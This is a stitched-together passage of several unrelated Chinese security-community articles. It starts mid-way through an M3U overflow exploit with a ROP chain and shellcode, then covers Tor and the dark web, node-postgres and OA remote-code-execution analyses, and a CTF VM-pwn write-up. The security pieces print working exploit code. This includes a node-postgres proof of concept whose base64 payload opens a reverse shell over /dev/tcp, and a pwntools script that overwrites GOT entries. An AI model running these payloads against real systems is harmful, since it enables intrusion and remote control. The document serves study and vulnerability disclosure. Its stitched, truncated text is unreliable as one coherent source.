ROP += struct.pack('<L',0x77d148c0) # RET
ROP += struct.pack('<L',0x77112362) # POP ESI / RET
ROP += struct.pack('<L',0x77d148c0) # RET
ROP += struct.pack('<L',0x77118cf7) # PUSHAD / RET
buf = "xebx14x58xb2xbfx8ax18x32xdax88x18x40x81x38xfdxfdxfdxfdx75xf1xeb"
buf += "x05xe8xe7xffxffxffx43xd7xd5xb5x87xa1xd7xdcx36x6exf0xd7x8dxcbx2e"
buf += "xb3x34x4bx32xc1x4bx8cx64x08xbbx94x5cxd9x04x8cx8dxecxd7xcaxccxda"
buf += "xcdxebx8cx6dxdbx34xe5x8fx34xf4xb3x34xf6xa3x34xb6x34xd6xb7x12x82"
buf += "xd5xb5x87xa1xcaxbax2ax40xe8x47x2axdfx34xfax83x34xf3xbaxc7xbcx72"
buf += "x34xe6x9fxbcx62x8cx40xf8x34x8bx04xbcx4ax26xb0x01xb9x85x7bxcbxb7"
buf += "x7ex75xb8xbcx6fxf9x54x4ex84xebx9bxa3xcax5bx34xe6x9bxbcx62xd9x34"
buf += "x83xc4x34xe6xa3xbcx62xbcx93x04x2axe0x14xe8xdex82xd5xb5x87xa1xca"
buf += "x16x8cx64xecxd7xdbxddxd8xbfxd7xc8xd6xd1xd8x34x7bxecxefxefxecx40"
buf += "xe8x43xecx40xe8x47xfdxfdxfdxfd"
file = open("setdeppolicy_bypass.m3u","w")
file.write(dump + ROP + buf)
file.close()
其中`shellcode`是从网上找的看雪[wingdbg](https://bbs.pediy.com/user-387462.htm)版主的，因为利用`msfvenom`生成的各种`shellcodde`长度都过长，导致被截断
## 总结
`shellcode`如果出错的话，分析起来会比较难，而且不容易发现出错点，但是感觉收获也会特别大。
由于能力有限，难免会有错误，欢迎批评指正，有改进也非常好。
## 参考
[exploitdb](https://www.exploit-db.com/exploits/15895)
[维基百科](https://zh.wikipedia.org/wiki/M3U) | 社区文章 |
**作者：karmayu、murphyzhang @云鼎实验室
公众号：<https://mp.weixin.qq.com/s/Dhe1k1spN2zVIjycc3HbRw>
相关阅读：[密码学幼稚园 | 密码朋克的社会实验（二）](https://paper.seebug.org/778/ "密码学幼稚园 |
密码朋克的社会实验（二）")**
…… 2018年3月8日，某视频网站800余万用户数据在暗网销售 2018年8月1日，某省1000万学籍数据出现在暗网
2018年8月28日，某酒店集团5亿数据疑似在暗网出售 ……
本年度最严重的几次数据泄漏，都指向了同一个词——「 **暗网**
」。在中文的语境里，这是一个犹如「月黑风高夜」般的词汇，透着诡秘和犯罪的气息。而与「暗网」关系最密切的另一个词，则非「黑客」莫属。「黑」与「暗」的组合，意味着高超的匿名和隐身技巧，令人忍不住想揭开它精巧的面纱。
### **暗网是什么**
要解释暗网，先给整个互联网做一个简单的分层定义，如图：
图片来源网络
**表网（Surface Web）**
通常认为，普通用户或者搜索引擎能直接访问的内容属于表网。表现形式为网页或者 APP 提供的内容。
**深网（Deep Web）**
指不能被标准搜索引擎检索到的网络数据。通常是存储在各公司或组织的数据库中，需要用专有的接口查询或干脆不对外查询，例如 Google
的后端数据库。深网数据量远大于表层网络，犹如海面和大海的关系。
**暗网（Dark Web）**
需要通过特殊的加密通道访问的网页或数据。暗网通常具有匿名的特性，既保证访问者的匿名，同时也保证服务提供者的匿名。因此，其中充斥着各种犯罪信息和违法交易（枪支、毒品、色情、暴恐、黑客等）。
暗网有多个不同的实现版本，下文我们说暗网特指「Tor 网络」。
网络上有些说法说暗网远大于表层网络，其实很不严谨，是把深网和暗网混为一谈了，真实的暗网只有一小部分人使用，远小于大众使用的表层网络。
### **谁创造了暗网**
**密码朋克**
故事要从90年代的一个极小众群体说起——「密码朋克」。这是一个由顶尖数学家、密码学家和程序员组成的群体，他们关注「匿名、自由、隐私」，其中许多人抱着自由主义和无政府主义的理念，并在美国掀起了「加密无政府主义运动」，他们以密码学和互联网为武器，与强权展开直接对抗。
正是这群人，创造了许多加密技术和协议，也奠定了互联网的许多底层技术和通信协议，从加密邮件到 HTTPS，从 RSA 到区块链，等等等等。
图片来源网络
**国外政府部门**
花开两朵，密码朋克们希望保护自己的信息和隐私不被政府获取；而政府同样也有这个需求，甚至更强烈得多，因为他们要保证情报的传输安全，同时要保护情报人员传递信息时无法被网络追踪。因此，1995年，美国海军研究实验室也进行了匿名网络的相关项目研究，这也就是暗网的前身。
2004年，「Tor
洋葱网络」正式对外发布，意味着普通用户也可以使用匿名网络技术来保证自己的匿名性。也就代表着「暗网」这个概念正式走向公众。为什么叫洋葱网络，因为其中的通信内容被三重加密，像洋葱一样，剥开一层还有一层。
Tor
网络虽然理论上比较安全，但其中的中转节点是由志愿者部署，如果掌握了其中足够的节点，也是有概率进行完整通信追踪的。而且这毕竟是孵化自美国海军的一个项目，是否有一些精心构造的安全缺陷，难以确认。
**暗网上的数据泄露**
一个能保证访问者和服务提供者都匿名的网络，天生就是法外之地。
因此，各路违法信息交流充斥暗网，尤其是2011年后，由于比特币技术的兴起，暗网终于从「匿名的信息交流」进化到了「匿名的价值交换」阶段，这个颠覆性变革，随着「Silk
Road」的建立（丝绸之路：可以理解为基于比特币的暗网淘宝），掀起了违法交易的高潮。当然，大概同时也掀起了 FBI 相关部门的加班高潮。
很巧的是，同样是2011年底，国内发生了一轮标志性的大规模的用户数据泄漏事件，之后各种数据泄漏就成为了每年的常态。早期此类数据交易往往是黑客私下交易，而近年来逐渐被搬到暗网进行交易。为此，腾讯安全云鼎实验室对暗网的主要交易平台进行了监测，并抽取了近几个月针对国内用户的数据泄漏的情况进行了统计。
可以看到，近期泄漏数据，主要以网购/物流/身份证/酒店/社交帐号数据为主。
### **暗网上的业务**
暗网最大的几个市场均在近年被 FBI 捣毁，如 Silk
Road、AlphaBay，因此，2017年来暗网黑市有所收敛，并不如前几年火爆。我们统计了目前存在的几大市场商品分类，可以看出，毒品/药物类还是占据了超过50%的份额，海外使用违禁药物的情形非常严峻，其次是数字商品类，并充斥着各种色情、黑客、枪支、护照、假钞等违法内容。
### **暗网匿名原理**
暗网最重要的作用是保证匿名，其匿名性体现在两个方面：
* 访问普通网站时，网站无法得知访问者 IP 地址。
* 提供暗网服务时，用户无法得知服务器 IP 地址。
两个能力加起来则保障了暗网用户访问暗网网站时，双方都无法得知对方 IP 地址，且中间节点也无法同时得知双方 IP 地址。
听起来挺科幻的，毕竟我们平时使用的 VPN 等科学上网技术只使用了一层跳板，而 Tor 技术使用了三层跳板。
关于 VPN 的原理，可以参考下图：
VPN 原理图解 | 图片来源网络
下面对暗网匿名原理进行详细解析：
**访问普通网站**
先来看一个真实访问普通网站的跳转情况：
从上图可以看到，我们使用浏览器访问 google.com，但中间经过了3个节点 IP 地址，分别在匈牙利、西班牙、德国，然后再访问到谷歌的服务器。
Tor 用户针对普通网站访问流程，如下图所示。Tor网络中的每个节点都是随机选取，且每个节点看到的信息不超过一跳，所以通过网络流量监控嗅探到的 Tor
流量不能同时获取通信两端的IP信息；且每一个节点处都是加密形式。这里随机选取的三个节点的功能顺序是：入口节点、中间节点、出口节点；数据流方向为：客户端、入口节点、中间节点、出口节点、WEB服务器。
Tor 网络有其特有的加密方式--三层密钥加密。三层密钥的建立是在网络请求的初始，当和下一个节点连接时创建一对非对称密钥，三个随机节点共创建了三对密钥并将公钥回传到客户端。数据经客户端三层密钥加密后，进行Tor
网络的传输，每经过一个节点，便解开一层加密，顺序依次为：入口节点解开第一层加密，中间节点解开第二层加密，出口节点解开第三层加密。通过层层加密让流量监控无法嗅探明文数据。
**访问匿名网站**
先来看一次真实访问匿名网站的跳转情况：
从上图可以看到，我们通过浏览器尝试访问一个奇怪的域名（uffti3lhacanefgy.onion），但和前面普通网站不一样的是，中间经过了6个节点，其中前3个可见
IP，另外3个命名为 Relay，然后再访问到那个奇怪的域名。
这个访问匿名网站的流程比较复杂，在普通互联网上，当我们知道网站域名时，通过 DNS 协议解析到 IP 地址，然后访问。但 Tor 网络域名是 .onion
为后缀，并不是使用普通的 DNS 方式来解析，而是使用下面的方法。
下面我们结合 torproject.org 网站介绍的洋葱服务协议、业界约定俗成的各个环节的名称、及上面的原理图进行 Tor
访问匿名网站的原理复盘。在原Tor网络上增加了承载暗网网址导航功能的目录数据库(DB)，暗网服务器选定的允许与其通信的介绍点(Introduction
point)，及进行两端数据传输的最终会合点(Rendezvous point)。原理图中的每一步连接，都是建立在 Tor
网络的三跳连接之上，杜绝流量监控嗅探到明文数据。下面我们了解一下访问匿名网站的过程。
* step 1: 暗网服务器连入 Tor 网络，并隐匿IP信息
这一步是通过介绍点来完成，方法是暗网服务器选取若干节点充当介绍点，建立Tor线路；并以介绍点充当影子功能，隐匿IP信息。
* step 2: 暗网服务器通过向目录数据库注册，公示自身的存在
这一步是通过目录数据库来完成，目录数据库收录了各个暗网服务器上传的自身标识（公钥、对应介绍点摘要等），这些标识以自身的私钥签名。暗网服务器的域名(例：uffti3lhacanefgy.onion)由公钥派生。
* step 3: 客户端获取暗网网址对应的标识信息，拿到网址对应的公钥与介绍点
这一步是客户端通过Tor线路访问目录数据库拿到的结果，此外还进行标识的篡改验证。
* step 4: 客户端随机选取节点构建会合点，为后续与暗网服务器传输数据做准备
这一步是会合点的生成，除为选取的会合点创建Tor线路外，同时会合点还会收到一次性「验证信息」，用来校验暗网服务器。
* step 5\6: 客户端通过介绍点，通告暗网服务器会合点的地址和「验证信息」
这一步的核心是让暗网服务器知道会合点的存在，媒介是客户端在目录数据库中获取到的对应暗网网址的介绍点，同时传递了后续用来对接验证的「验证信息」。
* step 7: 暗网服务器通过Tor线路连接会合点，最终与客户端达成数据传输
这一步暗网服务器也通过Tor线路与会合点建立连接，但两端还未达成真正的通信，必须进行「验证信息」的核实，当真正验证成功后，才能达成真正的通路。
经过以上复杂流程，客户端和暗网服务器建立通信成功，形成一个上面截图的六跳连接，并成功保证了双方的匿名性。
### **Tor 网络节点**
从前面可以看到，暗网的匿名性基于其众多的节点，但如果部署足够多的节点，是否就能探测到双方的 IP 地址和通信数据呢？先来看看暗网节点的情况。
**节点介绍**
暗网节点一共分为以下3类：
* 入口节点/中间节点
入口节点和中间节点没有本质的差别，通常各 IDC
运营商都允许服务器被部署为入口节点和中间节点，新节点上线只能是中间节点，当稳定性和带宽都比较高时，才允许被升级为入口节点。
* 出口节点
出口节点从技术上看和入口节点一样，但通常 IDC
运营商是不允许服务器部署出口节点的，因为如果引发了犯罪行为，由于无法进行往回追踪，会导致运营商背锅。因此，出口节点通常是学术机构、ISP、科研单位、公共图书馆等才会部署。
* 网桥
由于入口节点是公开的，因此很容易被封锁。为了保证这些地区的人也能访问 Tor
网络，还存在一个秘密的入口列表，称之为网桥节点。这个秘密列表每次只可以查询到3个入口节点，通过一些机制保证不能简单被遍历，以此来对抗封锁。
**节点数据**
截止当前，目前运行的 Tor 节点数量大概有7500，普通节点大约6500，网桥节点接近1000。
普通节点中，入口节点（Guard）大约2400，出口节点（Exit）大约800多。
从这个数据来看，假设我们在「入中出」三类节点中各有一台机器，能检测到完整数据的概率大约是 1/(3400 * 800 * 3300) =
1/8976000000。大约是九十亿分之一。
其中大多数节点主要分布在欧美国家。
**节点详情**
完整的公开节点列表可以在以下网址查询到 <https://torstatus.rueckgr.at/>，云厂商可以根据这个列表进行自查。
部分节点详细数据
### **Tor 用户**
全球每天使用 Tor 网络的用户基本稳定在200万人，相对于数十亿的互联网用户，其实非常小量，而其中访问暗网匿名网站的用户更是其中的一小部分。
暗网用户分布国家 TOP10。
**其它平行网络**
前面说过，Tor 网络只是暗网的一个实现版本，其他的还有 Freenet 和 I2P 网络，但用户量远远低于 Tor，因此仅作了解就好。
近年来由于区块链技术的发展，又出现了一种基于区块链技术的分布式匿名网络，其典型例子是 ZeroNet（零网）。
具体用法可以参见官网，<https://zeronet.io>，用来搭建自己的网站，不但匿名，甚至无需服务器。
### **写在最后：**
技术本身是中立的，尤其是在密码学的领域，一方面保障着整个互联网的安全和信任基础，一方面也包庇了暗网下的种种犯罪。Tor
网络也一样，一方面为大众提供了一种安全的匿名方案，一方面也为非法交易提供了温床。阴阳总是交融地存在，所幸黑色领域终究是少数，如何将黑色领域尽量压缩，道阻且长。
揭开了暗网的面纱，本系列下一篇，将用最科普的方式，继续讲述暗网背后的密码学原理。
### **参考资料：**
[1] Tor: Overview
<https://www.torproject.org/about/overview.html.en>
[2] Tor: Onion Service Protocol
<https://www.torproject.org/docs/onion-services>
[3] Tor: Relays and bridges
<https://metrics.torproject.org/networksize.html>
[4] Tor: Relays by relay flag
<https://metrics.torproject.org/relayflags.html>
（部分图片来源网络）
**腾讯安全云鼎实验室**
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html "phith0n@长亭科技")
Postgres 是现在用的比较多的数据库，包括我自己的博客，数据库都选择使用 Postgres，其优点我就不展开说了。node-postgres是
node 中连接 pg 数据库的客户端，其中出现过一个代码执行漏洞，非常典型，可以拿出来讲一讲。
#### 0x01 Postgres 协议分析
碳基体妹纸曾经分析过 postgres 的[认证协议](http://tanjiti.lofter.com/post/1cc6c85b_10c4e0dd
"认证协议")，显然 pg 的交互过程其实就是简单的 TCP 数据包的交互过程，文档中列出了所有数据报文。
其中，我们观察到，pg 的通信，其实就是一些预定的 message 交换的过程。比如，pg
返回给客户端的有一种报文叫“RowDescription”，作用是返回每一列（row）的所有字段名（field name）。客户端拿到这个
message，解析出其中的内容，即可确定字段名：
我们可以抓包试一下，关闭服务端 SSL，执行`SELECT 'phithon' AS "name"`，可见客户端发送的报文头是`Simple
Query`，内容就是我执行的这条 SQL 语句：
返回包分为4个message，分别是T/D/C/Z，查看文档可知，分别是“Row description”、“Data row”、“Command
completion”、“Ready for query”：
这四者意义如下：
1. “Row description” 字段及其名字，比如上图中有一个字段，名为“name”
2. “Data row” 值，上图中值为“70686974686f6e”，其实就是“phithon”
3. “Command completion” 用来标志执行的语句类型与相关行数，比如上图中，我们执行的是select语句，返回1行数据，所以值是“SELECT 1”
4. “Ready for query” 告诉客户端，可以发送下一条语句了
至此，我们简单分析了一下 postgresql 的通信过程。明白了这一点，后面的代码执行漏洞，也由此拉开序幕。
#### 0x02 漏洞触发点
安装node-postgres的7.1.0版本：`npm install
[email protected]`。在`node_modules/pg/lib/connection.js`可以找到连接数据库的源码：
Connection.prototype.parseMessage = function (buffer) {
this.offset = 0
var length = buffer.length + 4
switch (this._reader.header) {
case 0x52: // R
return this.parseR(buffer, length)
...
case 0x5a: // Z
return this.parseZ(buffer, length)
case 0x54: // T
return this.parseT(buffer, length)
...
}
}
...
var ROW_DESCRIPTION = 'rowDescription'
Connection.prototype.parseT = function (buffer, length) {
var msg = new Message(ROW_DESCRIPTION, length)
msg.fieldCount = this.parseInt16(buffer)
var fields = []
for (var i = 0; i < msg.fieldCount; i++) {
fields.push(this.parseField(buffer))
}
msg.fields = fields
return msg
}
...
可见，当`this._reader.header`等于"T"的时候，就进入parseT方法。0x01中介绍过T是什么，T就是“Row
description”，表示返回数据的字段数及其名字。比如我执行了`SELECT * FROM
"user"`，pg数据库需要告诉客户端user这个表究竟有哪些字段，parseT方法就是用来获取这个字段名的。
parseT 中触发了 rowDescription 消息，我们看看在哪里接受这个事件：
// client.js
Client.prototype._attachListeners = function (con) {
const self = this
// delegate rowDescription to active query
con.on('rowDescription', function (msg) {
self.activeQuery.handleRowDescription(msg)
})
...
}
// query.js
Query.prototype.handleRowDescription = function (msg) {
this._checkForMultirow()
this._result.addFields(msg.fields)
this._accumulateRows = this.callback || !this.listeners('row').length
}
在 client.js 中接受了 rowDescription 事件，并调用了 query.js 中的 handleRowDescription
方法，handleRowDescription
方法中执行`this._result.addFields(msg.fields)`语句，并将所有字段传入其中。
跟进 addFields 方法：
Result.prototype.addFields = function (fieldDescriptions) {
// clears field definitions
// multiple query statements in 1 action can result in multiple sets
// of rowDescriptions...eg: 'select NOW(); select 1::int;'
// you need to reset the fields
if (this.fields.length) {
this.fields = []
this._parsers = []
}
var ctorBody = ''
for (var i = 0; i < fieldDescriptions.length; i++) {
var desc = fieldDescriptions[i]
this.fields.push(desc)
var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text')
this._parsers.push(parser)
// this is some craziness to compile the row result parsing
// results in ~60% speedup on large query result sets
ctorBody += inlineParser(desc.name, i)
}
if (!this.rowAsArray) {
this.RowCtor = Function('parsers', 'rowData', ctorBody)
}
}
addFields 方法中将所有字段经过 inlineParser 函数处理，处理完后得到结果 ctorBody，传入了 Function
类的最后一个参数。
熟悉XSS漏洞的同学对“Function”这个类（ <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function>
）应该不陌生了，在浏览器中我们可以用`Function+`任意字符串创造一个函数并执行：
其效果其实和 eval 差不多，特别类似PHP中的`create_function`。那么，Function
的最后一个参数（也就是函数体）如果被用户控制，将会创造一个存在漏洞的函数。在前端是 XSS 漏洞，在后端则是代码执行漏洞。
那么，ctorBody 是否可以被用户控制呢？
#### 0x03 常见BUG：转义不全导致单引号逃逸
ctorBody 是经过 inlineParser 函数处理的，看看这个函数代码：
var inlineParser = function (fieldName, i) {
return "\nthis['" +
// fields containing single quotes will break
// the evaluated javascript unless they are escaped
// see https://github.com/brianc/node-postgres/issues/507
// Addendum: However, we need to make sure to replace all
// occurences of apostrophes, not just the first one.
// See https://github.com/brianc/node-postgres/issues/934
fieldName.replace(/'/g, "\\'") +
"'] = " +
'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}
可见这里是存在字符串拼接，fieldName即为我前面说的“字段名”。虽然存在字符串拼接，但这里单引号`'`被转义成`\'`：`fieldName.replace(/'/g,
"\\'")`。我们在注释中也能看到开发者意识到了单引号需要“escaped”。
但显然，只转义单引号，我们可以通过反斜线`\`来绕过限制：
\' ==> \\'
这是一个比较普遍的BUG，开发者知道需要将单引号前面增加反斜线来转义单引号，但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以，我们尝试执行如下SQL语句：
sql = `SELECT 1 AS "\\'+console.log(process.env)]=null;//"`
const res = await client.query(sql)
这个 SQL 语句其实就很简单，因为最后需要控制 fieldName，所以我们需要用到 AS 语句来构造字段名。
动态运行后，在 Function 的位置下断点，我们可以看到最终传入 Function 类的函数体：
可见，ctorBody 的值为：
this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);
我逃逸了单引号，并构造了一个合法的 JavaScript
代码。最后，`console.log(process.env)`在数据被读取的时候执行，环境变量`process.env`被输出：
#### 0x04 实战利用
那么，在实战中，这个漏洞如何利用呢？
首先，因为可控点出现在数据库字段名的位置，正常情况下字段名显然不可能被控制。所以，我们首先需要控制数据库或者SQL语句，比如存在SQL注入漏洞的情况下。
所以我编写了一个简单的存在注入的程序：
const Koa = require('koa')
const { Client } = require('pg')
const app = new Koa()
const client = new Client({
user: "homestead",
password: "secret",
database: "postgres",
host: "127.0.0.1",
port: 54320
})
client.connect()
app.use(async ctx => {
ctx.response.type = 'html'
let id = ctx.request.query.id || 1
let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
const res = await client.query(sql)
ctx.body = `<html>
<body>
<table>
<tr><th>id</th><td>${res.rows[0].id}</td></tr>
<tr><th>name</th><td>${res.rows[0].name}</td></tr>
<tr><th>score</th><td>${res.rows[0].score}</td></tr>
</table>
</body>
</html>`
})
app.listen(3000)
正常情况下，传入id=1获得第一条数据：
可见，这里id是存在SQL注入漏洞的。那么，我们怎么通过SQL注入控制字段名？
一般来说，这种WHERE后的注入，我们已经无法控制字段名了。即使通过如`SELECT * FROM "user" WHERE id=-1 UNION
SELECT 1,2,3 AS
"\\'+console.log(process.env)]=null;//"`，第二个SELECT后的字段名也不会被PG返回，因为字段名已经被第一个SELECT定死。
但是 node-postgres 是支持多句执行的，显然我们可以直接闭合第一个SQL语句，在第二个SQL语句中编写POC代码：
虽然返回了500错误，但显然命令已然执行成功，环境变量被输出在控制台：
在 vulhub 搭建了环境，实战中遇到了一些蛋疼的问题：
* 单双引号都不能正常使用，我们可以使用es6中的反引号
* Function环境下没有require函数，不能获得child_process模块，我们可以通过使用process.mainModule.constructor._load来代替require。
* 一个fieldName只能有64位长度，所以我们通过多个fieldName拼接来完成利用
最后构造出如下POC：
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
发送数据包：
成功反弹shell：
#### 0x05 漏洞修复
官方随后发布了漏洞通知： <https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability> 以及修复方案： <https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86>
可见，最新版中将`fieldName.replace(/'/g,
"\\'")`修改为`escape(fieldName)`，而escape函数来自这个库：<https://github.com/joliss/js-string-escape> ，其转义了大部分可能出现问题的字符。
* * * | 社区文章 |
### 前言
今年某行动中，某OA连续发了好几个高危漏洞补丁，搜索了一下，目前网络上还没有分析文章，正好最近有时间做一下漏洞分析和学习
### 漏洞说明
后台监控页面对传入参数为进行处理，导致命令执行
### 修复原理
补丁代码直接删除了后面一大段代码，我们分析一下这一段代码危害
首先登陆系统后访问下面链接，进入monitor页面，访问后台监控页面的jsp
<http://x.x.x.x/ctp/sysmgr/monitor/status.do>
点击访问Cache Dump页面
这里访问会加载index.jsp，同时会在session设置GoodLuckA8，后续才能访问到漏洞页面
cacheDump.jsp 这里判断是否session存在GoodLuckA8了
抓这个页面的包，继续操作
cacheDump.jsp 这里传入b、m、p三个参数
这里符合条件会调用eval方法
跟进到eval方法，拼接beanName、func、param这个三个参数
进行ScriptEvaluator.eval 方法，可以看到这里用到groovy，继续跟进77行
最后这块编译文件，执行groovy代码
### 漏洞复现
p参数这里设置成下面的groovy代码，然后进行url编码，即可导致RCE
1); println "cmd /c calc".execute().text //
漏洞分析完，poc其实挺容易构造，完整的漏洞数据包有点敏感，暂时不公布了
效果：
### 免责申明
本文中提到的漏洞分析过程仅供研究学习使用，请遵守《网络安全法》等相关法律法规 | 社区文章 |
> 感谢南梦师傅博客 [南梦爷爷博客](https://196011564.github.io "南梦爷爷博客")
# 虚拟机保护的pwn
当我们 拿到 一个 虚拟机的 pwn的时候 先看看函数的逻辑
是很多 分支 或者说很多 switch 语句
这样 很大可能说明了 这很有可能是一个 虚拟机 或者是一个 解释器
## vm 解释器的 基本认识
### 寄存器
1. `PC` 程序计数器，他存放的是一个内存地址，该地址中存放着 **下一条** 要执行的计算机指令
2. `SP` 指针寄存器，永远指向当前栈顶。
3. `BP` 基质指针。也是用于指向栈的某些位置，在调用函数的时候会用到它
4. `AX` 通用寄存器，我们的虚拟机中，它用于存放一条指令执行后的结果
在程序中 `PC`的初始值指向目标代码的 `main` 函数
### 指令集
虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 ：`MOV`,`ADD` 之类的
## 通过例题学习
### ciscn 2019 华东南 pwn Virtual
#### 题目分析
刚开始的 malloc_all 里面会记录我们的 的输入 的不同段开始的地址 和 对应的 参数个数
例如：stack
在 store 函数中 有个 move 函数 会把我们的输入保存到我们 开始时创建的 对应chunk 中
1. 首先输入`name`和`instruction`
2. 让进入到主要函数 以`\n\r\t被分割` 将我们 输入的`instruction` 分为一组一组的指令
3. 分别根据 匹配到的指令将 对应的 值 放入`ptr` 数组中
4. 程序一共有 `push` `pop` `add` `sub` `mul` `div` `load` `save` 这几个指令
**分析得到这里是 给虚拟机 布置指令**
void __fastcall ins_stack(__int64 some_data, char *ins)
{
int idx; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
const char *part1; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]
if ( some_data )
{
ptr = malloc_0(8LL * *(some_data + 8));
idx = 0;
for ( part1 = strtok(ins, delim); idx < *(some_data + 8) && part1; part1 = strtok(0LL, delim) )// \n\r\t被分割
//
{
if ( !strcmp(part1, "push") )
{
ptr[idx] = 0x11LL;
}
else if ( !strcmp(part1, "pop") )
{
ptr[idx] = 0x12LL;
}
else if ( !strcmp(part1, "add") )
{
ptr[idx] = 0x21LL;
}
else if ( !strcmp(part1, "sub") )
{
ptr[idx] = 0x22LL;
}
else if ( !strcmp(part1, "mul") )
{
ptr[idx] = 0x23LL;
}
else if ( !strcmp(part1, "div") )
{
ptr[idx] = 0x24LL;
}
else if ( !strcmp(part1, "load") )
{
ptr[idx] = 0x31LL;
}
else if ( !strcmp(part1, "save") )
{
ptr[idx] = 0x32LL;
}
else
{
ptr[idx] = '\xFF';
}
++idx;
}
for ( i = idx - 1; i >= 0 && mov(some_data, ptr[i]); --i )
;
free(ptr);
}
}
mov 函数
signed __int64 __fastcall mov(chunk *data, __int64 ptr)
{
int idx; // [rsp+1Ch] [rbp-4h]
if ( !data )
return 0LL;
idx = data->idx + 1;
if ( idx == data->size )
return 0LL;
*(data->section_ptr + 8LL * idx) = ptr;
data->idx = idx;
return 1LL;
}
1. 然后会到另一个函数，给栈上布置参数
2. 也是用`\n\r\t被分割` 将我们的输入 然后保存在虚拟的栈上
void __fastcall num_stack(__int64 a1, char *data)
{
int v2; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
const char *nptr; // [rsp+20h] [rbp-20h]
_QWORD *ptr; // [rsp+28h] [rbp-18h]
if ( a1 )
{
ptr = malloc_0(8LL * *(a1 + 8));
v2 = 0;
for ( nptr = strtok(data, delim); v2 < *(a1 + 8) && nptr; nptr = strtok(0LL, delim) )
ptr[v2++] = atol(nptr);
for ( i = v2 - 1; i >= 0 && mov(a1, ptr[i]); --i )
;
free(ptr);
}
}
**布置指令和参数**
IDA 在识别的时候出现错误 没有很好的反汇编
我们就看看汇编代码
如果我们 之前输入的 指令 对应的值 `-0x11` 还小于 0x21 的话这个时候 会把它当作 index 去找到对应的值
然后让程序跳转到对应的指令去 执行虚拟机指令
#### 漏洞分析
程序 分析到这里 就是一个 简单的 虚拟机结构，但是程序没有对数组的下标进行判断
所以，我们可以看i用这个漏洞向我们需要的一个地方写入值。
#### 利用思路
我们可以先泄露 一个 libc 的值，从而 修改一个 函数的 Got 表的值为
system 或者 为 onegadget 的值
从而让我们能直接利用得到 shell
测试
计算出 1 + 3 的值
> > 根据队列来取值 或调用的参数
然后发现 程序每个 值都是更具 对应chunk 前一个 chunk 中更具 idx 来选取的，发现程序没有对 这个 idx 进行判断
sava(data, offset）
sava 函数对 offset 地址赋值为 data
因为没有验证 offset 的值
我们可以 输入负数修改 data chunk 的信息chunk 的 data_chunk 指针为 got 表 从而下次 push 函数会吧这个地址当作我们的
运行段
load(offset)
保存data 段对应 offset 地址的值
然后用到 save 函数把我们 需要的 libc 地址 保存到对应的 libc 表中
从而得到 shell
修改 puts 为 system
from pwn import *
context.log_level='debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p,s)
# d("b *0x00000000004019FD \n")
p.sendlineafter('name:\n','/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction:\n', ins)
offset = -(libc.sym['puts'] - libc.sym['system'])
data_addr=0x000000000404088
data = [data_addr,-3,-12 ,offset ,-12]
payload=""
for i in data:
payload+=str(i)+" "
# d('b *0x0000000000401A75\nb *0x00000000004019C7\nb*0x0000000000401A5D\n')
p.sendlineafter('data:\n',payload)
p.interactive()
### Ogeek 线下pwn
#### 题目分析
程序刚开始 先初始化基础值
然后队 memory 赋值
赋值结束 因为 running = 1
所以进入一个 while 循环 依次进行我们输入的 指令的操作
##### fetch() 函数
相当于依次获得 memory 数组中存放的 函数指令
reg[15] --> idx
获得指令后 进入 `execute(memory[rep[15]])`
##### execute() 函数
函数对应所有的指令操作
将输入的 4 字节分成 4组
操作指令 | 参数c | 参数b | 参数a
**对应值对应的操作**
> 0x10 --> reg[c] = memory
> 0x20 --> reg[c] = memory == 0
> 0x30 --> reg[c] = ::memory[reg[a]]
> 0x40 --> ::memory[reg[a]] = reg[c] // 存在任意写
> 0x50 --> stack[reg[13]++] = reg[c]
> 0x60 --> reg[c] = stack[--reg[13]] // 存在任意读
> 0x70 --> reg[c] = reg[a] + reg[b]
> 0x80 --> reg[c] = reg[b] - reg[a]
> 0x90 --> reg[c] = reg[a] & reg[b]
> 0xA0 --> reg[c] = reg[a] | reg[b]
> 0xB0 --> reg[c] = reg[a] ^ reg[b]
> 0xC0 --> reg[c] = reg[b] << reg[a]
> 0xD0 --> reg[c] = reg[b] >> reg[a]
> 0xE0 --> running = 0
> 0xFF --> running = 0 打印 reg[] 数组中的 所有值
reg[13] = sp (无符号数)
reg[15] = pc (无符号数) --> 指令存储的 memory 的起始位置
因为没有验证 数组的偏移多少
所有我们 可以想办法 构造 数组的 下标为 负数，从而向上读，可以读取到
got表中的值，让通过指令将 得到的 值保存到一个寄存器中
我们对应的 寄存器 reg[10] 对应的是 dd DWORD 型的
因为我们的 程序是 64位的
但是这个 寄存器保存值只能保存 4 字节
想要保存 8 字节的值 我们需要用到两个寄存器。
我们直接用 赋值操作 + 移位 将这个
0x60 操作下的 reg[13] 的值转化为 负数然后保存在对应的寄存器中
通过这个 方法我们可以实现任意读和任意写，
然后要做的 就是想办法去利用它
